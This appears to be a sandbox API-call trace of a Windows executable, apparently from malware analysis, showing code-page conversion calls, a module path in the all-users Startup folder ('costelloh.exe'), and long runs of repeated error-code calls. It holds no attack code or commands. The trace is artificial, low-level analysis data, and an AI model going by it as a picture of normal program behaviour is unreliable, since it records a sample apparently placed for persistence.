	[0206.726] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0xd5f598 | out: lpCharType=0xd5f598) returned 1
	[0206.726] GetLastError () returned 0xcb
	[0206.726] SetLastError (dwErrCode=0xcb) 
	[0206.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd5f998, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0206.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd5f998, cbMultiByte=256, lpWideCharStr=0xd5f2c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0206.726] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0206.726] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xd5f0b8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256
	[0206.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0xd5f898, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xe6\x0e\x61\x36\xd0\xfa\xd5", lpUsedDefaultChar=0x0) returned 256
	[0206.726] GetLastError () returned 0xcb
	[0206.726] SetLastError (dwErrCode=0xcb) 
	[0206.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd5f998, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0206.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd5f998, cbMultiByte=256, lpWideCharStr=0xd5f2e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0206.726] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0206.727] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xd5f0d8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256
	[0206.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0xd5f798, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xe6\x0e\x61\x36\xd0\xfa\xd5", lpUsedDefaultChar=0x0) returned 256
	[0206.727] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x9bf728, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\costelloh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe")) returned 0x4a
	[0206.727] GetLastError () returned 0x0
	[0206.727] SetLastError (dwErrCode=0x0) 
	[0206.727] GetLastError () returned 0x0
	[0206.727] SetLastError (dwErrCode=0x0) 
	[0206.727] GetLastError () returned 0x0
	[0206.727] SetLastError (dwErrCode=0x0) 
	[0206.727] GetLastError () returned 0x0
	[0206.727] SetLastError (dwErrCode=0x0) 
	[0206.727] GetLastError () returned 0x0
	[0206.728] SetLastError (dwErrCode=0x0) 
	[0206.728] GetLastError () returned 0x0
	[0206.728] SetLastError (dwErrCode=0x0) 
	[0206.728] GetLastError () returned 0x0
	[0206.728] SetLastError (dwErrCode=0x0) 
	[0206.728] GetLastError () returned 0x0
	[0206.728] SetLastError (dwErrCode=0x0) 
	[0206.728] GetLastError () returned 0x0
	[0206.728] SetLastError (dwErrCode=0x0) 
	[0206.728] GetLastError () returned 0x0
	[0206.728] SetLastError (dwErrCode=0x0) 
	[0206.728] GetLastError () returned 0x0
	[0206.728] SetLastError (dwErrCode=0x0) 
	[0206.728] GetLastError () returned 0x0
	[0206.728] SetLastError (dwErrCode=0x0) 
	[0206.728] GetLastError () returned 0x0
	[0206.728] SetLastError (dwErrCode=0x0) 
	[0206.728] GetLastError () returned 0x0
	[0206.728] SetLastError (dwErrCode=0x0) 
	[0206.728] GetLastError () returned 0x0
	[0206.728] SetLastError (dwErrCode=0x0) 
	[0206.728] GetLastError () returned 0x0
	[0206.729] SetLastError (dwErrCode=0x0) 
	[0206.729] GetLastError () returned 0x0
	[0206.729] SetLastError (dwErrCode=0x0) 
	[0206.729] GetLastError () returned 0x0
	[0206.729] SetLastError (dwErrCode=0x0) 
	[0206.729] GetLastError () returned 0x0
	[0206.729] SetLastError (dwErrCode=0x0) 
	[0206.729] GetLastError () returned 0x0
	[0206.729] SetLastError (dwErrCode=0x0) 
	[0206.729] GetLastError () returned 0x0
	[0206.729] SetLastError (dwErrCode=0x0) 
	[0206.729] GetLastError () returned 0x0
	[0206.729] SetLastError (dwErrCode=0x0) 
	[0206.729] GetLastError () returned 0x0
	[0206.729] SetLastError (dwErrCode=0x0) 
	[0206.729] GetLastError () returned 0x0
	[0206.729] SetLastError (dwErrCode=0x0) 
	[0206.729] GetLastError () returned 0x0
	[0206.729] SetLastError (dwErrCode=0x0) 
	[0206.729] GetLastError () returned 0x0
	[0206.729] SetLastError (dwErrCode=0x0) 
	[0206.729] GetLastError () returned 0x0
	[0206.729] SetLastError (dwErrCode=0x0) 
	[0206.730] GetLastError () returned 0x0
	[0206.730] SetLastError (dwErrCode=0x0) 
	[0206.730] GetLastError () returned 0x0
	[0206.730] SetLastError (dwErrCode=0x0) 
	[0206.730] GetLastError () returned 0x0
	[0206.730] SetLastError (dwErrCode=0x0) 
	[0206.730] GetLastError () returned 0x0
	[0206.730] SetLastError (dwErrCode=0x0) 
	[0206.730] GetLastError () returned 0x0
	[0206.730] SetLastError (dwErrCode=0x0) 
	[0206.730] GetLastError () returned 0x0
	[0206.730] SetLastError (dwErrCode=0x0) 
	[0206.730] GetLastError () returned 0x0
	[0206.730] SetLastError (dwErrCode=0x0) 
	[0206.730] GetLastError () returned 0x0
	[0206.730] SetLastError (dwErrCode=0x0) 
	[0206.730] GetLastError () returned 0x0
	[0206.730] SetLastError (dwErrCode=0x0) 
	[0206.730] GetLastError () returned 0x0
	[0206.730] SetLastError (dwErrCode=0x0) 
	[0206.730] GetLastError () returned 0x0
	[0206.730] SetLastError (dwErrCode=0x0) 
	[0206.730] GetLastError () returned 0x0
	[0206.731] SetLastError (dwErrCode=0x0) 
	[0206.731] GetLastError () returned 0x0
	[0206.731] SetLastError (dwErrCode=0x0) 
	[0206.731] GetLastError () returned 0x0
	[0206.731] SetLastError (dwErrCode=0x0) 
	[0206.731] GetLastError () returned 0x0
	[0206.731] SetLastError (dwErrCode=0x0) 
	[0206.731] GetLastError () returned 0x0
	[0206.731] SetLastError (dwErrCode=0x0) 
	[0206.731] GetLastError () returned 0x0
	[0206.731] SetLastError (dwErrCode=0x0) 
	[0206.731] GetLastError () returned 0x0
	[0206.731] SetLastError (dwErrCode=0x0) 
	[0206.731] GetLastError () returned 0x0
	[0206.731] SetLastError (dwErrCode=0x0) 
	[0206.731] GetLastError () returned 0x0
	[0206.731] SetLastError (dwErrCode=0x0) 
	[0206.731] GetLastError () returned 0x0
	[0206.731] SetLastError (dwErrCode=0x0) 
	[0206.731] GetLastError () returned 0x0
	[0206.731] SetLastError (dwErrCode=0x0) 
	[0206.731] GetLastError () returned 0x0
	[0206.732] SetLastError (dwErrCode=0x0) 
	[0206.732] GetLastError () returned 0x0
	[0206.732] SetLastError (dwErrCode=0x0) 
	[0206.732] GetLastError () returned 0x0
	[0206.732] SetLastError (dwErrCode=0x0) 
	[0206.732] GetLastError () returned 0x0
	[0206.732] SetLastError (dwErrCode=0x0) 
	[0206.732] GetLastError () returned 0x0
	[0206.732] SetLastError (dwErrCode=0x0) 
	[0206.732] GetLastError () returned 0x0
	[0206.732] SetLastError (dwErrCode=0x0) 
	[0206.732] GetLastError () returned 0x0
	[0206.732] SetLastError (dwErrCode=0x0) 
	[0206.732] GetLastError () returned 0x0
	[0206.732] SetLastError (dwErrCode=0x0) 
	[0206.732] GetLastError () returned 0x0
	[0206.732] SetLastError (dwErrCode=0x0) 
	[0206.732] GetLastError () returned 0x0
	[0206.732] SetLastError (dwErrCode=0x0) 
	[0206.732] GetLastError () returned 0x0
	[0206.732] SetLastError (dwErrCode=0x0) 
	[0206.732] GetLastError () returned 0x0
	[0206.732] SetLastError (dwErrCode=0x0) 
	[0206.732] GetLastError () returned 0x0
	[0206.733] SetLastError (dwErrCode=0x0) 
	[0206.733] GetLastError () returned 0x0
	[0206.733] SetLastError (dwErrCode=0x0) 
	[0206.733] GetLastError () returned 0x0
	[0206.733] SetLastError (dwErrCode=0x0) 
	[0206.733] GetLastError () returned 0x0
	[0206.733] SetLastError (dwErrCode=0x0) 
	[0206.733] GetLastError () returned 0x0
	[0206.733] SetLastError (dwErrCode=0x0) 
	[0206.733] GetLastError () returned 0x0
	[0206.733] SetLastError (dwErrCode=0x0) 
	[0206.733] GetLastError () returned 0x0
	[0206.733] SetLastError (dwErrCode=0x0) 
	[0206.733] GetLastError () returned 0x0
	[0206.733] SetLastError (dwErrCode=0x0) 
	[0206.733] GetLastError () returned 0x0
	[0206.733] SetLastError (dwErrCode=0x0) 
	[0206.733] GetLastError () returned 0x0
	[0206.733] SetLastError (dwErrCode=0x0) 
	[0206.733] GetLastError () returned 0x0
	[0206.733] SetLastError (dwErrCode=0x0) 
	[0206.733] GetLastError () returned 0x0
	[0206.734] SetLastError (dwErrCode=0x0) 
	[0206.734] GetLastError () returned 0x0
	[0206.734] SetLastError (dwErrCode=0x0) 
	[0206.734] GetLastError () returned 0x0
	[0206.734] SetLastError (dwErrCode=0x0) 
	[0206.734] RtlAllocateHeap (HeapHandle=0x2c00000, Flags=0x0, Size=0x53) returned 0x2c01788
	[0206.734] GetLastError () returned 0x0
	[0206.734] SetLastError (dwErrCode=0x0) 
	[0206.734] GetLastError () returned 0x0
	[0206.734] SetLastError (dwErrCode=0x0) 
	[0206.734] GetLastError () returned 0x0
	[0206.734] SetLastError (dwErrCode=0x0) 
	[0206.734] GetLastError () returned 0x0
	[0206.734] SetLastError (dwErrCode=0x0) 
	[0206.734] GetLastError () returned 0x0
	[0206.734] SetLastError (dwErrCode=0x0) 
	[0206.734] GetLastError () returned 0x0
	[0206.734] SetLastError (dwErrCode=0x0) 
	[0206.734] GetLastError () returned 0x0
	[0206.734] SetLastError (dwErrCode=0x0) 
	[0206.734] GetLastError () returned 0x0
	[0206.735] SetLastError (dwErrCode=0x0) 
	[0206.735] GetLastError () returned 0x0
	[0206.735] SetLastError (dwErrCode=0x0) 
	[0206.735] GetLastError () returned 0x0
	[0206.735] SetLastError (dwErrCode=0x0) 
	[0206.735] GetLastError () returned 0x0
	[0206.735] SetLastError (dwErrCode=0x0) 
	[0206.735] GetLastError () returned 0x0
	[0206.735] SetLastError (dwErrCode=0x0) 
	[0206.735] GetLastError () returned 0x0
	[0206.735] SetLastError (dwErrCode=0x0) 
	[0206.735] GetLastError () returned 0x0
	[0206.735] SetLastError (dwErrCode=0x0) 
	[0206.735] GetLastError () returned 0x0
	[0206.735] SetLastError (dwErrCode=0x0) 
	[0206.735] GetLastError () returned 0x0
	[0206.735] SetLastError (dwErrCode=0x0) 
	[0206.735] GetLastError () returned 0x0
	[0206.735] SetLastError (dwErrCode=0x0) 
	[0206.735] GetLastError () returned 0x0
	[0206.735] SetLastError (dwErrCode=0x0) 
	[0206.735] GetLastError () returned 0x0
	[0206.736] SetLastError (dwErrCode=0x0) 
	[0206.736] GetLastError () returned 0x0
	[0206.736] SetLastError (dwErrCode=0x0) 
	[0206.736] GetLastError () returned 0x0
	[0206.736] SetLastError (dwErrCode=0x0) 
	[0206.736] GetLastError () returned 0x0
	[0206.736] SetLastError (dwErrCode=0x0) 
	[0206.736] GetLastError () returned 0x0
